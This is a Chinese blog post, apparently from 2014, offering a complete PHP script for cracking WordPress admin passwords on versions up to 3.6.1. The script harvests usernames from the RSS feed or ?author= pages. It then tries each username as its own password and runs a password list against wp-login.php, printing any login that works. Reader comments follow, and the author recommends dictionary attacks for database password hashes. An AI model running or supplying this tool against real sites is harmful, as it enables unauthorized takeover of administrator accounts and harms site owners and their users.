正在阅读:

WordPress 登陆密码破解脚本

23,729

我们在渗透测试中,经常会遇到wordpress搭建的博客,但是wordpress博客本身是很安全的,除非是插件有漏洞,这就给我们的测试造成了一定的障碍。

由于Wordpress后台登陆无验证码,所以我们就可以通过暴力破解来获取后台登陆密码,参考大牛的代码,折腾了一下脚本来破解,喜欢的拿去。。

使用方法:


php wp_crack.php localhost /wp

代码参考了 瞌睡龙 大牛写的脚本,原文地址为:

跑wordpress用户密码脚本

由于瞌睡龙大牛的脚本默认是采用?author=这样的方式来获取用户名,但是基本上80%的wp博客都是使用URL重写的功能,所以使用这种方法很难获取到用户名,网上搜索了一下,增加了feed方式获取用户名,使脚本运行更加灵活。。

当使用feed方式获得脚本不成功以后,会使用?author的方式来获取,默认取前5个用户名,大家可以把5改的更大一点,以获取更多的用户名。

wordpress最新版加强了这方面的防护,所以本脚本不支持3.6.1以上版本。(当时我还以为脚本写错了,折腾了半天才发现。shit)

wordpress登陆密码破解脚本源代码:

<?php
/**
 * Created by 独自等待
 * Date: 14-3-5
 * Time: 下午8:20
 * Name: wp_crack.php
 * 独自等待博客:http://www.waitalone.cn/
 * 仅适用于wp3.6.1及以下版本
 */
print_r('
+------------------------------------------------------+
                WordPress 登陆密码破解
             Site:http://www.waitalone.cn/
                Exploit BY: 独自等待
                  Time:2014-03-05
+------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+------------------------------------------------------+
Useage: php ' . $argv[0] . ' host path
Host: target server (ip/hostname)
Path: path of wordpress
Example: php ' . $argv[0] . ' localhost /wordpress
+------------------------------------------------------+
    ');
    exit;
}
$start_time = func_time();
set_time_limit(0);
error_reporting(7);
if (!extension_loaded('curl')) {
    exit('请开启CURL扩展,谢谢!');
}
$host = $argv[1];
$path = $argv[2];
$auth = get_user();
//获取用户名函数
function get_user()
{
    global $host, $path;
    $authors = array();
    $url = "http://$host/$path/?feed=rss2";
    if (@fopen($url, 'r')) {
        $res = send_pack($url, 0);
        if (preg_match_all('/<dc:creator><\!\[CDATA\[(.*?)\]\]><\/dc:creator>/', $res, $authors)) {
            $authors = array_unique($authors[1]);
        } else if (preg_match_all('/<dc:creator>(.*?)<\/dc:creator>/', $res, $authors)) {
            $authors = array_unique($authors[1]);
        }
    } else {
        for ($i = 1; $i <= 5; $i++) {
            $url = "http://$host/$path/?author=$i";
            $res = send_pack($url, 0);
            preg_match('/title=\'(.*?)\' rel=\'me\'/i', $res, $users);
            $authors[] = $users[1];
            $authors = array_filter($authors);
        }
    }
    return $authors;
}

echo '共获取用户名:' . count($auth) . "个\n\n";
//print_r($auth);
$passwords = file('pass.txt');
echo '正在破解用户名和密码相同的用户:' . "\n\n";
$cracked = crack_login($auth, 'same');
echo '正在破解存在弱口令的用户:' . "\n\n";
if ($cracked) {
    $auth = array_diff($auth, $cracked);
}
crack_login($auth, $passwords);
//破解用户名和密码函数
function crack_login($user_arr, $pass_arr)
{
    global $host, $path;
    $url = "http://$host/$path/wp-login.php";
    $cracked = array();
    foreach ($user_arr as $user) {
        $user = iconv('utf-8', 'gbk//IGNORE', $user);
        if ($pass_arr == 'same') {
            $post = "log=" . urlencode($user) . "&pwd=" . urlencode($user) . "&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=" . urlencode("http://$host/$path/") . "%2Fwp-admin%2F&testcookie=1";
            $res = send_pack($url, $post);
            if (strpos($res, 'div id="login_error"') === false) {
                echo '用户名:' . $user . '   密码:' . $user . "\n\n";
                $cracked[] = $user;
            }
        } else {
            $pass_arr = array_unique($pass_arr);
            foreach ($pass_arr as $pass) {
                $pass = trim($pass);
                $post = "log=" . urlencode($user) . "&pwd=" . urlencode($pass) . "&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2F&testcookie=1";
                $res = send_pack($url, $post);
                //fwrite(fopen('a.txt','w'),$res);exit;
                if (strpos($res, 'div id="login_error"') === false) {
                    echo '用户名:' . $user . '   密码:' . $pass . "\n\n";
                }
            }
        }
    }
    return $cracked;
}

//发送数据包函数
function send_pack($url, $post)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    if ($post) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo '脚本执行时间:' . round((func_time() - $start_time), 4) . '秒。';
?> 

脚本运行效果如下:

wordpress登陆密码破解

目前有:4条访客评论,博主回复3

  1. f4ck小菜
    2014-03-27 13:53

    我想说 买你这套源码要话多少rmb啊

  2. 大步
    2014-03-30 11:45

    好多博客已经装了安全插件。我自己嫌麻烦,给撤了。

  3. Akaline
    2016-03-30 18:16

    什么情况?’php’ is not recognized as an internal or external command,
    operable program or batch file. 前面要跟什么吗

  4. 君
    2016-12-31 19:47

    牛,能问下数据库加密的密码,怎么破解没

    • 独自等待
      2017-01-03 09:19

      数据库好像是aes加密的,只能看运气了。建议用字典破解。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌